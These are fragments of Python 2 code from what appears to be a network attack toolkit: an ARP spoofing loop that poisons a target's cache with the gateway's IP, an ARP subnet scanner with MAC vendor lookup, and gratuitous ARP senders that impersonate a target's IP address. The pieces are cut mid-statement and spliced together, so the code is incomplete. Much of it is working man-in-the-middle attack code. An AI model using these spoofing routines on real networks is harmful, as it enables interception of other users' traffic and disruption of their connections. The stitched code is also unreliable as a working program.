exit(1)
else:
Base.print_success("Find target: ", target_ip_address + " (" + target_mac_address + ")")
# endregion
# region Main function
if __name__ == "__main__":
try:
# region ARP spoofing with ARP requests
if args.requests:
Base.print_info("Send ARP requests to: ", target_ip_address + " (" + target_mac_address + ")")
Base.print_info("Start ARP spoofing ...")
while True:
arp_request = arp.make_request(ethernet_src_mac=your_mac_address,
ethernet_dst_mac=target_mac_address,
sender_mac=your_mac_address,
sender_ip=gateway_ip_address,
target_mac="00:00:00:00:00:00",
target_ip=Base.get_netiface_random_ip(network_interface))
socket_global.send(arp_request)
sleep(2)
# endregion
# region ARP spoofing with ARP responses
else:
Base.print_info("Send ARP responses to: ", target_ip_address + " (" + target_mac_address + ")")
Base.print_info("Start ARP spoofing ...")
arp_response = arp.make_response(ethernet_src_mac=your_mac_address,
ethernet_dst_mac=target_mac_address,
sender_mac=your_mac_address,
sender_ip=gateway_ip_address,
target_mac=target_mac_address,
class ArpScan:
# region Set variables
base = None
eth = None
arp = None
rawSocket = None
network_interface = None
your_mac_address = None
your_ip_address = None
target_ip_address = None
results = None
unique_results = None
mac_addresses = None
mac_prefixes_file = None
vendor_list = None
retry_number = 0
timeout = 0
# endregion
# region Init
def __init__(self):
from base import Base
from network import Ethernet_raw, ARP_raw
self.base = Base()
self.eth = Ethernet_raw()
self.arp = ARP_raw()
self.rawSocket = socket(AF_PACKET, SOCK_RAW, htons(0x0003))
self.results = []
self.unique_results = []
self.mac_addresses = []
self.mac_prefixes_file = utils_path + "mac-prefixes.txt"
self.vendor_list = []
self.retry_number = 3
self.timeout = 0
# endregion
# region Sniffer
def sniff(self):
while True:
packets = self.rawSocket.recvfrom(2048)
for packet in packets:
# Parse Ethernet header
ethernet_header = packet[0:14]
ethernet_header_dict = self.eth.parse_header(ethernet_header)
# Success parse Ethernet header
if ethernet_header_dict is not None:
# 2054 - Type of ARP packet (0x0806)
if ethernet_header_dict['type'] == 2054:
# Destination MAC address is your MAC address
if ethernet_header_dict[
'destination'] == self.your_mac_address:
# Parse ARP packet
arp_header = packet[14:42]
arp_header_dict = self.arp.parse_packet(arp_header)
# Success parse ARP packet
if arp_header_dict is not None:
# ARP opcode == 2 (2 - ARP reply)
if arp_header_dict['opcode'] == 2:
# ARP target MAC address is your MAC address
if arp_header_dict[
'target-mac'] == self.your_mac_address:
# ARP target IP address is your IP address
if arp_header_dict[
'target-ip'] == self.your_ip_address:
# Parameter Target IP address is None
if self.target_ip_address is None:
self.results.append({
"mac-address":
arp_header_dict[
'sender-mac'],
"ip-address":
arp_header_dict[
'sender-ip']
})
# Parameter Target IP address is Set
else:
if arp_header_dict[
'sender-ip'] == self.target_ip_address:
self.results.append({
"mac-address":
arp_header_dict[
'sender-mac'],
"ip-address":
arp_header_dict[
'sender-ip']
})
# endregion
# region Sender
def send(self):
arp_requests = []
self.your_mac_address = self.base.get_netiface_mac_address(
self.network_interface)
self.your_ip_address = self.base.get_netiface_ip_address(
self.network_interface)
first_ip_address = str(
IPv4Address(
unicode(self.base.get_netiface_first_ip(
self.network_interface))) - 1)
last_ip_address = str(
IPv4Address(
unicode(self.base.get_netiface_last_ip(
self.network_interface))) + 1)
if self.target_ip_address is not None:
if self.base.ip_address_in_range(self.target_ip_address,
first_ip_address,
last_ip_address):
first_ip_address = self.target_ip_address
last_ip_address = self.target_ip_address
else:
self.base.print_error(
"Bad target IP address: ", self.target_ip_address,
"; Target IP address must be in range: ",
first_ip_address + " - " + last_ip_address)
exit(1)
index = 0
while True:
current_ip_address = str(
IPv4Address(unicode(first_ip_address)) + index)
index += 1
if IPv4Address(unicode(current_ip_address)) > IPv4Address(
unicode(last_ip_address)):
break
else:
arp_request = self.arp.make_request(
ethernet_src_mac=self.your_mac_address,
ethernet_dst_mac="ff:ff:ff:ff:ff:ff",
sender_mac=self.your_mac_address,
sender_ip=self.your_ip_address,
target_mac="00:00:00:00:00:00",
target_ip=current_ip_address)
arp_requests.append(arp_request)
send_socket = socket(AF_PACKET, SOCK_RAW)
send_socket.bind((self.network_interface, 0))
for arp_request in arp_requests:
if self.retry_number > 0:
for i in range(self.retry_number):
send_socket.send(arp_request)
else:
send_socket.send(arp_request)
send_socket.close()
# endregion
# region Scanner
def scan(self,
network_interface,
timeout=3,
retry=3,
target_ip_address=None,
check_vendor=True):
# region Set variables
self.target_ip_address = target_ip_address
self.network_interface = network_interface
self.timeout = int(timeout)
self.retry_number = int(retry)
# endregion
# region Run sniffer
tm = ThreadManager(2)
tm.add_task(self.sniff)
# endregion
# region Run sender
self.send()
# endregion
# region Create vendor list
if check_vendor:
with open(self.mac_prefixes_file, 'r') as mac_prefixes_descriptor:
for string in mac_prefixes_descriptor.readlines():
string_list = string.split(" ", 1)
self.vendor_list.append({
"prefix": string_list[0],
"vendor": string_list[1][:-1]
})
# endregion
# region Wait
sleep(self.timeout)
# endregion
# region Unique results
for index in range(len(self.results)):
if self.results[index]['mac-address'] not in self.mac_addresses:
self.unique_results.append(self.results[index])
self.mac_addresses.append(self.results[index]['mac-address'])
# endregion
# region Reset results and mac addresses list
self.results = []
self.mac_addresses = []
# endregion
# region Get vendors
for result_index in range(len(self.unique_results)):
# Get current MAC address prefix
current_mac_prefix = self.eth.get_mac_prefix(
self.unique_results[result_index]['mac-address'])
# Search this prefix in vendor list
for vendor_index in range(len(self.vendor_list)):
if current_mac_prefix == self.vendor_list[vendor_index][
'prefix']:
self.unique_results[result_index][
'vendor'] = self.vendor_list[vendor_index]['vendor']
break
# Could not find this prefix in vendor list
if 'vendor' not in self.unique_results[result_index].keys():
self.unique_results[result_index]['vendor'] = "Unknown vendor"
# endregion
# region Return results
return self.unique_results
# endregion
# endregion
# region Get MAC address
def get_mac_address(self,
network_interface,
target_ip_address,
timeout=5,
retry=5):
try:
# region Set variables
self.target_ip_address = target_ip_address
self.network_interface = network_interface
self.timeout = int(timeout)
self.retry_number = int(retry)
# endregion
# region Run sniffer
tm = ThreadManager(2)
tm.add_task(self.sniff)
# endregion
# region Run sender
self.send()
# endregion
# region Wait
sleep(self.timeout)
# endregion
# region Return
if 'mac-address' in self.results[0].keys():
return self.results[0]['mac-address']
else:
return "ff:ff:ff:ff:ff:ff"
# endregion
except IndexError:
return "ff:ff:ff:ff:ff:ff"
except KeyboardInterrupt:
self.base.print_info("Exit")
exit(0)
if args.target_ip is None:
print "Sniffing interface: " + str(_current_network_interface)
if _target_mac_address is None:
sniff(filter="arp",
prn=send_arp_reply,
iface=_current_network_interface)
else:
sniff(lfilter=lambda d: d.src == _target_mac_address,
filter="arp",
prn=send_arp_reply,
iface=_current_network_interface)
else:
Base.print_info(
"Sending ", str(_number_of_packets),
" Gratuitous ARP requests to broadcast MAC address, " +
"sender and target IP address: ", _target_ip_address)
SOCK = socket(AF_PACKET, SOCK_RAW)
SOCK.bind((_current_network_interface, 0))
arp_request = _arp.make_request(ethernet_src_mac=_current_mac_address,
ethernet_dst_mac="ff:ff:ff:ff:ff:ff",
sender_mac=_current_mac_address,
sender_ip=_target_ip_address,
target_mac="00:00:00:00:00:00",
target_ip=_target_ip_address)
for _ in range(_number_of_packets):
SOCK.send(arp_request)
sleep(0.5)
SOCK.close()
# region Main function
if __name__ == "__main__":
try:
# region Make ARP request and response
_arp_response = _arp.make_response(
ethernet_src_mac=_current_mac_address,
ethernet_dst_mac=_target_mac_address,
sender_mac=_current_mac_address,
sender_ip=_target_ip_address,
target_mac=_target_mac_address,
target_ip=_target_ip_address)
_arp_request = _arp.make_request(
ethernet_src_mac=_current_mac_address,
ethernet_dst_mac="33:33:00:00:00:01",
sender_mac=_current_mac_address,
sender_ip=_target_ip_address,
target_mac="00:00:00:00:00:00",
target_ip=Base.get_netiface_random_ip(_current_network_interface))
# endregion
# region Send only ARP reply packets
if args.answers:
for _ in range(_number_of_packets):
_sock.send(_arp_response)
sleep(0.5)
_sock.close()
# endregion
# region Send broadcast ARP request packets